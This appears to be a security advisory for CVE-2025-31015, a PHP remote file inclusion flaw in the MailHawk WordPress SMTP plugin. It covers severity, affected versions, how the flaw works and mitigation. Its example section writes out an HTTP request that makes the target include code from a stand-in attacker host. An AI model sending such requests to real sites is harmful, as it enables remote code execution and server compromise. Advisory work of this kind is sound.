Overview
The vulnerability, CVE-2025-31015, is a critical security issue that affects the Adrian Tobey WordPress SMTP Service, specifically the Email Delivery Solved! – MailHawk plugin. This flaw could potentially allow an attacker to gain unauthorized access and manipulate files on the server, leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-31015
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
WordPress SMTP Service, Email Delivery Solved! – MailHawk | n/a through 1.3.1
How the Exploit Works
The exploit works by taking advantage of the improper control of filename for include/require statement in PHP program (‘PHP Remote File Inclusion’) vulnerability. An attacker could manipulate the include/require statement to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code will be executed by the server, which can lead to unauthorized access or modification of data.
Conceptual Example Code
A potential exploit may look as follows:
GET /include.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.comIn this example, the `file` parameter in the URL is manipulated to include a file from a remote server (`attacker.com`). The file `malicious_file.txt` contains the attacker’s PHP code, which will be executed once it is included in the target server.
Mitigation Guidance
To mitigate the risk of this vulnerability, it is recommended to apply the patch provided by the vendor. If the patch cannot be applied immediately, it is advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary countermeasure to monitor and block suspicious activity.
